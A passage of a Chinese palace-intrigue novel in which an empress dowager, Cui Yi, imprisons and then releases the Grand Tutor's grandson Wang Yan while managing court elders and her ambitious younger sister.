其实那使臣就是带着银两外出溜达了一圈,刻意饶了大半年才回京,本想着天子到时候说不定已忘了此事,没想到依旧贼心不死。 为拖延时间,又道:“气候严寒,各地百姓还不曾走到地方,让官员前去督促。” 这一督促又督促了个一年半载,陛下的命令自然是要听的,至于怎么听、听说少,全看这些重臣如何想。 别看王太傅如今老态龙钟枯瘦不堪,崔仪可听说过,太傅刚入天子门前时,还因政见不合与一对头下朝后打起来,至于崔家么……一两个都是皮糙肉厚的武将能臣,不怕死更不怕打架。 过去的陛下都敬重着这些人,崔仪一时也不想跟他们作对,她颇有些棘手地放下杯盏。 “诸位长辈,当今天子年少,我得父辈托举坐在这个位置,本就被人盯着瞧,不敢出一丝差错。若将王厌之死处理得草率,遗漏了什么重要之事,往后有口也说不清啊。” 席间老者咳了一声,缓缓道:“太后莫不是想留他一命?” 崔仪坚决道:“不过是想将事情问清楚,活人总是比死人有用。待明日,我就命人将他押入宫牢。” 听说要将人下狱,众人面色都缓和不少,崔仪见状继续道:“实不相瞒,我观王三郎对朝中大小事一窍不通,想必从他口中也得不出什么有用的讯息,不过只要他还活着,太傅总不能不管他,多少算个牵制。” 固然太傅气得不轻,不过他就这么一个嫡孙,还能真不管吗?崔仪心中不信,想必叔伯们也能想明白。 “既如此,望明日能听见太后的好消息。” 夜色已深,众人不再叨扰,将杯中的酒水饮尽后,结伴离去。 崔仪心道终于是松了口气,惜云轻声说热水备好了,崔仪将要洗沐,又有太监来报。 她语气已经不大好了:“何事?” 太监听出言辞中的不耐,吓得“噗通”一声跪到地上,举起书信递上:“太傅他急病中又上书,请太后娘娘过目。”他托举着那封信,被崔仪一把抓走。 “臣子上书,何不去给陛下?”她撕开封印,冷声,“什么事都要本宫做,陛下没教你们规矩?” 这是拿太监出气了,小太监委屈道:“是陛下让小的将此信送来……” 崔仪心腔中正憋着股火,恨不得一脚将这小太监踢得远远的,出口气也好,但最后也只是强行忍耐住脾性,长舒一口气:“陛下不懂事,你们应当辅佐,而不是由着他胡闹。” 她收回视线,看向手中来信。 不出她所料,最初的冲动与发泄后,太傅不可能真的不管王厌,于是连忙又上书来求情,恳请言明情况,让王厌先养病。 太傅写得一手好字,此刻也歪歪扭扭,虚浮无力,恐是病中握不住笔,又或许是苦肉计。 想来,一个正常人,见如此高龄的重臣夜不能寐而为孙担忧,也会情不自禁生出几分恻隐之心。 即便生不出,也总要给他的身份一些面子。 崔仪冷哼一声,将信让人收好。 到此刻将至夜半,再睡不过两个时辰就要起身回宫,崔仪头疼烦躁,出浴后让人关紧院门,再不许谁来打扰。 临睡前,崔仪不由想到行军时也时常要熬个一两日,但那时她神思紧绷不敢有任何的松懈,也不觉疲累,时光消磨得很快。 怎么眼前真正回宫理事,却应付地有些勉强? 年少时,崔仪跟在太师身边也见过这些叔伯,家中宴会或是各家赏花赋诗,她都会前去,在人情往来上分明是应对得绰绰有余,难道是行军改变了她的脾性?又或是回京后玩了一年多,通通被她给忘了。 她又暗自庆幸还好没对小太监踢出那一脚,放纵自己很容易,收敛恶习却要经年累月的克制,她不能也不该那样做。 这胡思乱想了半晌,崔仪困倦的意识终于进入梦乡。 梦很奇怪,她轻轻眨眼,见自己骑在一匹雪白的骏马身上,行走在山间泥路,景色盎然,远处山腰上的亭子精巧别致。 左手边的人竟然是卫泠,多日不见,他墨发束起,俊秀的面容含着点点笑意。 右手边的是祝令梅,她一身盔甲,牵着缰绳左右乱晃,前后还跟着几个将士。 她吓了一跳:“这里是何处?我又怎会在此?” 卫泠大概是认为她的发问很奇怪,用诡异的眼神望她,须臾,朝她笑了一笑。 另一边的祝令梅反而朗声:“你忘啦,是你说要带我们来捉妖怪。” 话音刚落,崔仪果真发现几人的手上都握着绳索一样的麻绳,她迷惑:“妖怪?什么妖怪?” 祝令梅:“你神神秘秘不肯明言,我又怎会晓得……就是这里吧!哪儿有妖怪?” 眼前赫然是一片山明水秀处,瀑布从高处坠落,几人在山脚下搜寻,崔仪还不知眼前是何情况,卫泠与祝令梅也跟着她。 “真是我说的?”她纳闷,似在反问。 “就是你说的,还说此处不是凡间,所以要来这里捉妖……” 不是凡间?崔仪面色微变,低头看,众人骑的马竟然变为了一只只肥壮的野猪,原本在山腰的亭子也消失不见,取而代之的是一艘撞在上头的货船。 她瞠目结舌,一旁的卫泠依然含笑不语。 卫泠不是死了吗?怎么会在此处? 崔仪的思绪模糊混乱,正要问她,身后却听到祝令梅的惊叫:“这里真的有妖怪,我还当是你胡言乱语。” 盛开的兰树枝干裸露在外,朵朵白花盛放,不仅有花,上头还挂着一个雪衫墨发的男人。 王厌—— 这名字呼之欲出,崔仪急忙从猪身上翻下来,套起绳索朝王厌身上丢过去。 她忽略了这梦境有多奇怪,一个劲的甩出麻绳,似乎要靠这个办法将王厌从树上摘下来。 祝令梅:“你着什么急,这个人很重要?” 崔仪点头。 祝令梅:“喔,一个兰花妖怪!不会说话也没长脑子,你要他能顶啥用啊?” 崔仪又甩出绳索:“他最大的用处就是好好活着。” “原来如此,”祝令梅肯定道,“你自恋,需要他给你当见证。” 崔仪本想反驳,又心想这话好像不能当着卫泠的面说,她好不容易把这个秘密一直瞒到他死。 回首望去,本想对卫泠解释些许,这才发觉原来对方早就不见,山脚下只剩几头小猪在喝水。 “快把他摘下来,他要焉了。” 身后的祝令梅还在催促。 要焉了,人怎么焉啊?人不是只有死么? 想到这里,崔仪终于从这奇怪又漫长的梦境中醒来,从床榻上猛然坐起,心口喘息。 道观的院子不大,寝房比宫中更小,陈设简陋,崔仪入睡前,惜云特意将小窗推开一个口子,此刻夜幕沉沉,院落里传来匆忙的脚步声,又停留在门前不敢往里。 “什么事?”崔仪从枕边用帕子擦了擦脸,小宫女推门进来,怯声:“太后,御医那边说,那边说王三公子病重。” 崔仪将帕子一甩:“又病重?他不过是被烫了一回,又不致命,何来病重?” 她在心里觉得稀奇,还不想起身,又问:“可曾告诉陛下?” 侍女连忙点头:“陛下已起身去看。” 崔仪的面色阴晴不定:“一个罪臣还如此兴师动众,让陛下再三前去探望,好大的脸面。” 她若是去,未免对王厌也太好了,分别前两人刚吵了架,她不想处处都惯着他。 有了主意,崔仪又躺回去,双目一闭:“派个身边的人去看看就是。” 崔仪身边除了惜云外,就是一个叫莲心的侍女帖心些。 不过莲心是惜云一手教出来的,平日里若是惜云歇下了,紧要事都是她代办。 今年正是莲心当值,她得了信儿,立刻挑着一盏灯往王三郎的院子里去。 这会儿实在太晚,走在路上半点动静也听不得,好在陛下前去王厌的院中,院子里灯火通明,几个太监守在门外,见莲心来了,其中一个领着她往里走。 宫人与太监都守在大堂内,卫秀坐在椅子上,听一旁的御医解释。 “他,道长他应当只是受了凉,人又刚受完惊吓,一时病得糊涂,待臣开些方子就好。” 卫秀正要接话,太监通报说太后身边的人来了,他才侧目来看。 莲心上前行礼:“见过陛下。太后娘娘早已歇下,不便前来,让奴婢来瞧瞧。” 她是太后的人,卫秀在她跪到地上之前就让人起身,听完来意后,他点头道:“母后这些时日累了,应当好好歇息。” 又转脸问御医:“此人如今是戴罪之身,不能让他的性命有任何闪失。方才你对朕说过的话,烦请再复述一遍。” 莲心来得晚了一步,又听太医重复,将话都记了下来,又在大堂内等了会儿。 这个时辰,莫说是陛下,就连侍女太监一个个都困得厉害,只是药还未送来。 卫秀坐在椅子上,垂眸翻看着课业,莲心不动声色地瞥过去几眼,确保陛下当真是在读书之后,才收回眼。 她的手指来回摩挲,想到先前惜云说过的话——陛下年少登基,虽处处受制于人,可毕竟是意气风发的年岁,不可不防。 莲心不敢不从。 一炷香后,总算有太监将煎熬好的药送来,太医入了房内喂王厌喝下,从头到尾卫秀都坐在远处,懒得进屋多看一眼。 待太医再出来时,已经又不知过了多久,这回他的面上带了些喜色:“还好,发现得快,这病症也压了下去。” 不同于他的医者之心,卫秀合上书册,少年的面孔上有着天真的疑惑:“道长进宫到现在,已经为不同的事病过数回,他的身子骨很差?怎会如此,可是有何顽疾?” 御医思索道:“回陛下,道长只是体虚,久不进食才会容易风寒,并非什么顽疾。” “如此甚好,”卫秀点头道,“若是有何顽疾,那实在是可怜。” 太监在一旁劝他:“陛下,这王三欺瞒朝中上下多年,罪有应得。” “到底是一条人命。” 得知他无碍,卫秀起身要离去,他也乏了,低声道:“朕不忍再见到有人离世。” 莲心也跟着离去,只不过她独自回了崔仪的院中,还不忘将这话牢牢记下,待一个时辰后崔仪起身更衣时,莲心在一旁转达。 听说卫秀讲出这样的话,崔仪算不得惊讶:“像是他说的话。” 她对卫秀的印象太模糊,总之这人没什么坏心眼也没什么大志向,不想再见到有人离世这样的发愿已不新鲜。 见她这样说,莲心又转达起王厌的病情:“听说他是受惊又受寒,夜风差些烧糊涂过去,奴婢临走前才好转些。” 今日要将他押入大牢,他夜半就这样巧能生病?崔仪的手顿了顿,朝惜云道:“不用管他,即刻将人带回宫中押入牢内。” 惜云看了看太后的面色,斟酌道:“王三身子不好,此刻下狱,若挺不过去……” “不会,”崔仪摆了摆手,“哪有这样没用,一点小病都挺不过去。再者,牢狱之内还清静些,正好让他进去养病,省得他隔三差五来这么一出。” 只要她下定决心的事,旁人也不必劝了,总之王厌的事要先给外人一个交代。 更衣回宫后,天还不亮,正赶上来上朝的诸位大臣。 崔仪根本就不曾睡好,隔着珠帘听见几道熟悉的嗓音说起昨日祭礼之事,她们已提前通过气,故此也只是走个过程,要如何处置,众人早有决断。 另有别的臣子问及祭礼是否还要择期操办,银钱如何安排。 择期不是崔仪要关心的,银两却不得不伤心,崔仪算了算账目上的银两,沉吟几息,承诺会给与第一回同样的支出。 同样一件事,第一回没办好,第二回要么花费数倍的银两,要么大大减少开支草草了事,崔仪二者都没选。 下朝已是一个时辰之后的事,卫秀跟在崔仪身后。 春风拂面,廊下彩蝶穿过,正是好时节。 听闻要将王厌押入大牢,他震惊又不安:“母后,道长身子不大好,这样会不会有些太……” 崔仪停下脚步,轻声叹息:“陛下,王厌欺君罔上,蔑视天家威严死不足惜。” 她精神不好,语气也不重,只说:“你对他心慈手软之前,想想你的先祖们。” 她不怪卫秀这样优柔寡断,谁能料到这孩子最后登上大殿,一切都是意外造成的结局,崔仪无意责备,毕竟她这个太后也是走一步看一步。 与卫秀分别,崔仪总算回了宫里,与道观对比之下,从前被她瞧不上的寝宫也显得没那样可恶,卧榻瞧起来都比往常宽敞几分。 昨夜醒来后,崔仪睡得也不算好,一直强撑着精神,此刻见了床褥,不由生出一丝困意,正想吩咐惜云收拾睡下,却听得外头又有通报。 崔明意来了。 听到妹妹的名字,崔仪心知避无可避,撑着额头见她进来。 今日进宫,崔明意一改昨日颓然之色,尽管只是简单收拾了一番,那张扬神气的面容有几分从前的影子。 “姐姐。” 她规规矩矩地喊了声,崔仪让她坐下:“你来得到早。” 崔明意连忙道:“姐姐的叮嘱我都听了,刻意一早上来。” 昨日出事后,她与谢既早早就归家,哪里会晓得后面发生的事,更不知晓崔仪几乎整夜未曾合眼。 人都来了,崔仪只能妥协:“你可知我为何唤你进宫?昨日你太冲动,怎能随意对净明道长起杀心。” 又不是路边一条野狗,死就死了,老道长的作用还大着,老实说崔仪舍不得净明道长死。 净明死了,场面只会更麻烦。 被姐姐问话,崔明意难得不似从前那样阴阳怪气,乖巧道:“我明白。” 她难得如此乖顺安分,崔仪不适应:“你今日怎么了?昨日被吓坏了?” 调皮不成气候的孩子在外头被人教训之后,往往会变得格外听话,崔仪只能如此猜测。 “是也不是,”崔明意苦笑,“只是想明白了一些事。” 昨日,崔明意原本是崩溃的。 她苦心多年,读书习字弹琴作画,既要出尽风头又要八面玲珑,好不容易争取来的一切,她从未意识到会因一个老头的一句话葬送她的全部。 崔明意感到恐怖,还有几分说不清道不明的恶心。 她已经按照世人的规则去好好活着了啊!按照母父对她的期望,她是教养好、样貌好、学问也好的贵女,找的夫君也处处不错,她不是已经做到了最好吗? 为什么她按照这些人的规矩生存,却还是不能让所有人满意,难道她想要个孩子也有,从前和她交好的净明道长为何要为难于她。 思来想去,崔明意最终才明白,原来不是她努力就够了,她更应当获得的是真正的权力。 昨夜回了府,谢既不知她发生何事,磨着她问了好一阵,崔明意难得不对他发火,好声好气问他:“夫君,你能好好当官吗?” 谢既哈哈大笑:“你夫君一直是朝廷的大官啊,这不是当着呢!” 崔明意摇头道:“可你整日不去当值,叫你下头的人帮你来回跑腿混日子,旁人想托举你,也没有服众的缘由。” 见她不似一时兴起,谢既自然将这转变联想到她在道观中的异样,严肃几分:“究竟发生了何事,你说与我听。” 那样丢人的事,崔明意不想说,她望着谢既,许久才道:“你知道吗?若我今日是姐姐的家眷,本可以往前头再站一些,可我如今是你的夫人,你不好好当官,祭坛上出了何事,你与我也只能看着。” 谢既反应过来:“原是嫌我让你丢人。” 崔明意默认。 “那好,”谢既艰难道,“我以后每日都去,做个好官,让夫人再往前头站站。” 他本性不坏,只是过于不羁,当初在梅花树下见崔明意握着一卷诗册款款而立,实在惊为天人,央求着家里订下了他与崔明意的婚事。 崔明意也深知这一点,两人接触时,年岁都还小,崔明意刚开始发病,有一回谢既在她身旁絮絮叨叨说个没完,约莫是在说家中给了他一串多么稀有的珠子,他想做成两串和崔明意一块儿戴。 那日崔明意头疼发作,让他闭嘴,谢既不听,最后侃侃而谈的少年被崔明意狠狠打了一拳。 那是谢既第一回被打,他不可思议地捂着脸:“你打我?” “还是用拳头打我?” 崔明意面无表情地问他:“你不喜欢?” 她伸手又给了一巴掌,谢既这才失声叫嚷,又怕惹起长辈们的注意,只得龇牙咧嘴地忍下。 冲着他发泄完,崔明意见他面颊肿了起来,后知后觉地回过神,眼泪盈盈地用帕子去给他擦。 “痛不痛?”她变了个温柔小意的面容,“都是我不好……” 原来被她打两下就能获得如此待遇,谢既心神荡漾,不仅没将此事说出去,往后数年还为她多加掩饰。 崔明意那一日起就发现谢既是个一根筋,成也与此败也于此。 昨夜的最后,她沉声吩咐:“你去当值,就要干实事,处处要小心。” 哪怕朝中多是自家人,也要仔细些不能叫人抓了把柄。 也不知谢既听进去没有,总之今日一早,他一改往日懒散的习性,起身穿上官袍满脸郑重地去当值。 崔明意也睡不着了,起身来崔仪这里坐坐,恰好将昨日的事问个清楚。 眼见崔明意大有和她促膝长谈的架势,崔仪难免吃不消,她不想问妹妹想明白了何事。 想了什么不重要,做了什么才是最要紧的。 事实上关于崔明意没事就杀两个人解气的事儿,太师和崔仪心里都清楚得很,她也曾想提醒一二,这样的事能不做就不做,而后又想到这在上京算什么严重的事么?若是换上哪个郎君的名字,将此事往外说,恐怕旁人连一声惊叹都没有……总之,崔仪最后认为这事虽不耻,但和旁人比起来实在不值一提,当不知道最好。 惜云给崔明意奉茶的功夫,崔仪已困得要睡过去,毕竟是对着妹妹,她不想再装下去,直言:“我实在累乏,去歇会儿,你在此处闲来无事替我抄写抄写经书就是。” 寝房内,春光从圆窗落入榻上,崔仪换了衣裳,盖了身薄被,在熟悉的熏香中入睡。 窗外偶有鸟鸣,亮堂堂的光照在房内,惜云和其余侍女们守在一旁照顾,崔明意坐到书案旁,翻了翻桌上抄好的经书。 有些字迹是姐姐的,另有些字迹她不认得,只有些眼熟,思索后她低声问:“惜云姑姑,这些莫非是王三郎所抄写?” 惜云笑答:“是啊,当初先帝去得突然,太后留他在宫中抄经祈福。” 一页页翻阅过去的字迹认真而工整,崔明意面露不屑,冷哼道:“大字不识几个的蠢货也好意思妄称道长,让他抄,也不知能否抄得明白,只恐又将姐姐害了。” 对她的才情,惜云是知晓的:“自然与您比不了。” 生于道观,不曾请过先生,虽读过四书,认字能文,但在崔明意眼中王厌只属于上不得台面的乡巴佬,也不知怎么就得了姐姐的青眼。 她轻声道:“昨日出了事,那人被关起来了?” 这样大的事是瞒不住的,惜云道:“不错,已被押入宫中大牢。” 宫中大牢!怎么不是直接处死?又或者关到外头去,留在宫里岂不是又能时不时见到姐姐? 这样的念头越想越恼人,崔明意握着笔杆,平静了好一阵,才下笔抄写。 论字论文,她都是翘楚,京中不少人用她的字帖临摹,这些道家经书她早就烂熟于心,不必对照也能下笔如龙,半个时辰的功夫过去,桌上的纸堆了一小叠,崔仪仍旧未醒。 惜云悄声进去看,果真见崔仪睡得正熟,她索性将门边的垂幔放下,彻底隔绝外界的纷扰。 “太后昨夜不曾歇息,恐怕还要再睡一会儿,奴婢先送您出宫。” 宫里不大,崔明意本就认得路,思索片刻后没再劳烦惜云,叫上了守在门外的福真,两人一同往外走。 福真也正在春光里昏昏欲睡,好不容易等来了崔明意,连忙小步跟上。 寝房内的崔明意又睡了一个多时辰,在一阵鸟叫中醒来。 宫中的园景是有讲究的,春夏要捉虫捕蝉,也不会引得鸟兽逗留,不知怎么偏偏今日就将她闹醒。 崔仪认命般地叹了口气,她自知没那样多的时辰给她浪费下去,不情不愿地起了身。 掀开帷幔,发觉崔明意已经走了,崔仪的心中不免放松了些。 此时正近晌午,惜云见她起身,进房内帮她找衣裳,笑道:“抄好的经书都在书案上,二姑娘的字比从前更好看。” 妹妹写字好看,崔仪当然知道,还羡慕过,后来早已释然。 她换好衣裳,人往外走,这会儿才想起王厌。 昨夜与他争吵过,按理说崔仪拉不下这个脸去见他,不过今日他被押入牢中,又是病体,无论怎么说,她去关切一二才对。 思来想去,崔仪还是往宫牢走去,王厌性子倔,她不能跟着胡闹。 昨日决心要将他下狱后,崔仪让将宫牢内收拾打扫了一番,至少没那样难以落脚,今日进去,果然见其内干净整洁,虽不见天日、气味难闻,但也比寻常的牢狱不知好上多少。 宫牢关押的犯人不多,这会儿就王厌一个,崔仪无声地走到木门前,看着蜷缩成一团的人。 因他病重,还特意让人抬了张床进来,此刻晌午,宫人正好端着饭菜与汤药送来,见崔仪站在此处,慌忙要下跪。 “太后!” “免礼,”崔仪示意他将牢门打开,“先送药吧。” 二人的谈话声将王厌从迷乱的思绪中脱离,他撑起身子,双目朦胧,大约是还不曾全然清醒。 “你怎会在此处?” 王厌真当是自己出了幻觉。 昨夜二人不欢而散,他还记着,她还将他打入大牢,定然是气恼他……那么,如今面前站着的人,又是谁呢? 他用尽全身的气力,半撑着身子,隔着中间的横木去看她。 那双高傲又冷漠的眼睛,真的是崔仪啊,他并没有认错。 太监察觉情况不对,放下食案就溜到门外看守。 崔仪见他都病糊涂了,一时也难以说出什么重话,只道:“你该喝药了。” 王厌厌倦地望向食案,并不想喝。 望着他的神情,崔仪忍不住想说,有一件事其实是她骗了他,王厌这五年多没什么改变,就连细微的神情都和当初一样。 他本就不是什么热忱之人,当初看见那只被崔仪射落得鸟雀,王厌只是坐倚在大堂一旁,偏着脑袋,漠然地望着,丝毫没有上前解救那只鸟雀的意图。 甚至,就连崔仪忽然翻墙入院,他那双眼依旧平淡无波。 分明是盛夏,少年靠在门旁,往阴影中去,仿佛要枯萎的花瓣。 他要焉了,崔仪不知怎么想到梦里那句话,王厌此刻要变回从前那半死不活的模样。 “你不喝药,你的族人们怎么办?”崔仪好心告诉他,“太傅很关切你,昨日不过是气话,他连夜上书让陛下饶你一命。” 事已至此,说这些还有什么意义,王厌不做声也不回答,好似被抽干了一切的气力,只留下一具虚弱的躯壳。 见他这样,连和她吵架的劲头都没了,崔仪忍不住道:“你这样一动不动,看得让人担心。” 王厌听到此话才牵了牵唇角,笑意极淡:“谁会担心,你?你只怕我死得慢了。” 一旁的惜云闻言大怒:“你放肆,若不是太后……” “惜云。”崔仪阻止她继续说下去,有些事,必须要她亲口告诉王厌,且不能是他半死不活的状态下。 “喝药吧,”她不想威胁他,只实在没有办法,“想想道观中那些人的性命,想想你族人的性命,你知道我什么都做得出来。” “我……”王厌很想说他不知道,他不知崔仪究竟能做出什么,也不知她能做到什么地步。 □□的沉重让他疼痛难忍,心更是疼到麻木,连呼吸都让他难以忍受。 假如不是崔仪对他做这些事,那么他是可以原谅的。 偏偏是最爱的人对他做了这样残酷的事。 那个明媚的少女还在吗? 如今活在世上的,究竟是当初那个会逗他开心、恣意张扬的少女,还是一具被权欲填满的行尸走肉? 王厌悲哀地发现,他的伤心不仅仅是为了自己,更多的是为了心中那道身影的彻底消逝。 不想再和崔仪熬下去,王厌当着她面将难以下咽的药汁一饮而尽,又喝了几口汤、吃了些果子。 病中脾胃虚,他食欲比平日更差,不过还是勉强吃了些,随后缓缓恢复精力。 崔仪见他好好吃饭,心中放松了不少,温和道:“御医说你吃得太少,坏了身子,往后慢慢调理。” “往后?”王厌不似昨夜那样激动,轻声,“你与我还会有以后么?” 经历这样不堪的事,如何心无芥蒂地继续在一起,王厌当真想知道崔仪要如何做到,难道她的心并不是肉做的,而是一块石头? 这对崔仪而言根本就不是问题:“我知你受了委屈,再撑一撑,以后你在宫中陪着我,旁人不敢说什么,这段日子受的苦,往后我都会补偿回来。” 王厌认真想了想:“你能补偿我什么?” 崔仪沉声:“我能给你的,都可以。” “多谢,”王厌笑了笑,“若不是你问我,我还不会有这样的念头。我自小在道观长大,不曾见过外面的世界,若是哪一日我不再有利用价值,还望你能放我出宫,给我些许自由。” 没想到他会说这个,崔仪的脸色不好看:“你就想要这些?” 难道不想和她在一起?她究竟哪里亏待了他? 王厌默认了这问话的答案,崔仪又站了会儿,许久才拂袖离去。 走出宫牢重建天日,暖阳一点点打在她的肩头,崔仪走在前头,惜云跟在后面欲言又止。 她想说为何太后不告诉王厌背后做的那些事?分明两人互有情谊,为何要屡屡蹉跎,再这样下去,再多的情谊也随风消散了。 可情之一字本就不是外人能说透的,惜云也清楚崔仪的性情,只能连连叹气,让牢中的宫人们不要怠慢王厌。 回回与王厌见面都实在不愉快,崔仪有时也不想再管那样多,快刀斩乱麻将人强行关在宫中,只是她已经忍了十几年,还差这一时吗? 很快,很快她就会与王厌安心在一块儿,他不会再如此颓靡…… 崔仪回宫时,宫人说陛下在前厅等着,她前去一看,卫秀果然来给她请安,那张脸上还写满愧疚。 “儿子早朝时见母后面色不好,这才发觉母后为我日夜辛劳,不曾好眠,特来告罪。” 他这样说,崔仪才走到铜镜前,望了望自己的脸,她并不认为自己面色差,只是眼下的确有淡淡的乌青,不曾睡好就是如此。 难为他还特意跑一趟请罪,崔仪只说无妨,想起了昨夜太傅的上书:“昨夜太傅来信让我留王厌性命,你如何打算?” 卫秀没什么主见:“母后已将人押入大牢,往后如何处置您做主就是,不过儿臣实在不想再见血雨腥风之事。” “那就将他留在宫中谢罪,”崔仪怅惘,“若是放他回去,未免太便宜了他们。” 她已经动手了,不见血见肉怎肯罢休?若真的遂了太傅的心愿,举重若轻将人送回道观或是府上,往后朝中再有欺君罔上之辈要如何立威? 更何况,她要做的还不止这些。 卫秀好像听够这些事了,面容中流露出不掺虚假的厌恶,对朝政,他听得心惊。 “无论如何,母后要照顾好身体。” 他还要去萧肃老先生那处,没有久留,很快就告辞离去。 御园中又是一轮花枝绽放,不出几日,是给萧肃与皇帝办的拜师宴。 皇帝拜师向来是大事,萧肃资历够,学问也够,唯一不足的就是他与太傅有牵扯,崔仪虽不愿,却还是不得不在这场宴会上给太傅下帖。 身为老臣,于情于理他都该来,更遑论这样天经地义的时机,还不若宫里主动给他下请帖。 养了几日病,太傅瞧起来没有上回那样脸色青白,气色明显好了许多,至少比王厌好。 走起路晃晃悠悠,但说话时依然中气十足,崔仪笑着让人给他烹茶送酒,太傅照礼谢恩。 这一日宫内来了许多人,上回祭礼不顺利,再加上王厌那边出了事,想也知道许多人要来看笑话、打探消息,各怀鬼胎的视线在席间来回交错,崔仪只当没看见,只想安稳等待这场宴会结束。 拜师宴,众人自然向陛下与萧肃敬酒,一来二去,卫秀又脸上发红,分不清究竟是醉意上脸还是又起了风疹。 崔仪在一旁望着,不曾提醒,直到实在红得过分,她才拧眉:“陛下。” 这一声呼唤打断了那边正在敬酒的几人,卫秀转过脸来,冕珠后一张脸果然粉白,有些地方红得厉害。 旁人不知,她还是知晓的,适声告知:“陛下的风疹犯了。” 天子的仪容一向是紧要事,喝得脸红与风疹脸红也不可同日而论。 卫秀闻言,用手背蹭了蹭隐约发烫的面颊,了然。 杯中酒喝完,卫秀以茶代之,只说宴后还有课业,不宜海饮。 这倒是骗过了萧肃先生,老头笑道:“陛下勤勉好学,有这样的学生,是老夫之幸。” 今日的宴会比想象中融洽不少,许是因太傅一直沉默,崔仪认为对方必然有备而来,好半晌等不到对方出手,也只觉无趣。 好在老太傅没让她失望,酒过三巡,他来到崔仪跟前,态度谦和:“太后。” 崔仪笑着点头:“太傅身子休养得如何?” 谈话时风轻云淡仿佛未曾有那天的事,崔仪当然不认为那样的招数能瞒得过太傅,总之她的目的达到就好。 太傅想得不能更明白,这会儿忍住心中恨意,赔笑:“不过是沉疴暗病,有劳太后挂念。” 他将酒一饮而尽,说起了正事:“这几日病重翻来覆去想起我那糊涂的孙儿……他固然有错在身,只是到底年少无知,非有心之举,不知太后要如何处置?” 看他把所有错处都归到王厌身上,崔仪心里觉得有趣,爽快道:“此罪甚大,涉及到几位先帝的颜面,本该处死,只是陛下登基不久,念及宫中祸事频出,不忍再见有人断送性命,特此网开一面,留他在牢狱中受罚。” 一听牢狱二字,太傅苍老的面孔更显萧索:“他……他怎能住在那样的地方?” 在太傅心中,王厌大概只能住在金尊玉贵的地方被千万人供奉,受香火而食,最好连衣摆都不要被人碰见。 直到今日崔仪依旧不明白为何太傅对待王厌有这样的执念,仅仅是因为他天生的异象? 崔仪安慰他:“有何不能,戴罪之人,住在宫牢中已是极好的去处,难道太傅想要他死?” 是的。 他一定更希望王厌去死。 瑕疵比失败更可怕,崔仪曾见见过这种疯魔的人,对太傅而言,王厌大概就是一幅完美的画作,精美的道家塑像,它可以付之一炬,唯独不能将瑕疵展露在世人面前。 崔仪替王厌感到悲哀。 去死这样的话太傅也不会说,只问:“他固然有错,不如太后将人送回府上,往后臣一定严加管教。” 崔仪很难地望着他:“太傅说笑了,此事本宫说了不算,若是想为王三郎君求情,还请您去问陛下的意思。” 天子两个字横在他面前,太傅难不成要越了皇权么?不,他不会的,若是这样做,无异于向旁人承认崔家的势头已经彻底压过了他们。 很快,太傅就蹒跚离去,崔仪望着他倔强的背影,冷冷发笑。 今日撑着这样的骨头,还不知往后能撑多久,祝令梅已经要到凉州,父亲的消息很快也会传回。 朝堂之上为何要养这些与自己作对的人,崔仪不明白也不想容忍。 宫宴散后,又是几日过去,崔仪下了一趟地牢看王厌恢复得如何。 他分明是年轻,恢复得还不如七八十岁的太傅,至今还是虚虚地抱病在床,崔仪见状唤来宫人:“可有盯着他喝药?” 宫人惶恐道:“有、有,奴才每日都看着道长喝完药才走。” 既然好好喝了药,还好得这样慢就不得不让人起疑了,崔仪盯着王厌的脸问他:“你又想做什么?” 王厌的睫毛颤了颤:“太后想做什么?” 崔仪:“你既然喝了药,为何总不见好。” “病痛之事,岂由凡人定夺,”兴许是觉得她问得有意思,王厌咳了两声,竟还挂着些笑,“太后既然辨明真身,也知道我并非神仙道人,怎能掌控那些虚妄之事。” 看他这样半点不想活下去的样子,崔仪只留下一句“好”就走了。 没有争吵也没有逼迫,王厌不知那句好是何用意,不过第二日他就被带出了宫牢。 算来他在牢中待了也只有大半个月,因断断续续生病,始终不曾有人亏待他,如今被拉出牢狱,他回到了先前住过的寝宫。 热水早已备下,他没拒绝,牢狱中虽能冲洗,但与此处是比不了的。 沐浴更衣后,他又被宫人带到了经堂,其内空无一人,降真香将将点燃,熟悉的气味让他紧绷的神思与身子都放松下来。 本以为崔仪又要做什么,但王厌这一日直到入睡也不曾见过崔仪,他并未出宫,不知崔仪是何用意。 崔仪没给他下旨意,是因没想好说什么,王厌不可能一直住在牢里,不为他想还为她自己想呢。 她刻意好几日不见王厌,让他好好恢复,也留了些空闲去思索如何处置他。 “唉……”想到此人,崔仪总是想叹气,一旁的崔明意好奇:“姐姐在想什么?”她一边问,一边搁下了纸笔。 这段日子崔明意下朝后进宫,等着崔仪回来,头两日崔仪只是让她抄些诗经道文静心,后来发觉妹妹对于奏折的大小事都异于常人之后,崔仪开始让崔明意帮忙整理。 崔明意对银钱数量相当敏感,朝内的大小官员官职不同但职责会有相似,有时会出现报账一个多一个少的情况,又或是哪里出了事要批下银两,采买支出要花多少、人力车马费要花多少,事无巨细一个个校对批阅不是轻松的活,偏偏崔明意还真能过目不忘。 有这样好的帮手不用白不用,崔仪还想起太师的话,想给妹妹封个什么官位。 官职内没有女人的位置,不过自开朝以来就多得是临设官位,那些曾有一些是女子担任。 思来想去崔仪给妹妹封了个珠算使,这样的官不在制度内,比不出个高低,总之都为朝廷做事,比一些难见天子面的清闲官儿好得多。 受封此官,崔明意心中欣喜,对崔仪更是寸步不离。 某一日崔仪困惑:“你与你夫君一个在外当差,一个在宫里当差,这样忙碌,还在要孩子吗?” 连日美好的梦境被这句话浇了盆冷水,崔明意冷静后仔细思索。 她不能不要孩子,有一个孩子,就能完成众人口中的十全十美了——但她如今是太后身边的使臣,更重要的东西她已经握住了,怎么忍心放下。 崔仪也知道她担心什么:“若真的怀上,我自会为你保留官职。” 都是自家人,无非是一句话的事,谁还不想族中势力壮大?崔仪觉得自己的提议两全其美。 崔明意苦着一张脸,秀气的脸颊浮现一缕沉重之色。 “姐姐认为生孩子要紧么?” “要紧啊,”崔仪点点头,“不必有负担,顺其自然就是。” “重要?若是重要,为何姐姐成婚五年都不曾要一个自己的孩子?”崔明意当然没想到崔仪会说这样的话,惊讶,“难道也是没能怀上。” 崔仪尴尬:“生孩子是要紧,可对我来说不要紧。我已经有陛下这样一个儿子,接到我膝下就已识文断字,不哭不闹,省心得很。更何况我中间有几年行军,也要不了孩子。” “……”崔明意缄默,“若是可以,姐姐也很想生个儿子吗?母亲和父亲都逼我生。” “生吧。”崔仪和她接触的这几日,已经被她极为频繁的“生不生”问题给困扰住了,她狠心道:“有了就生。” 这一回崔明意久久没说话。 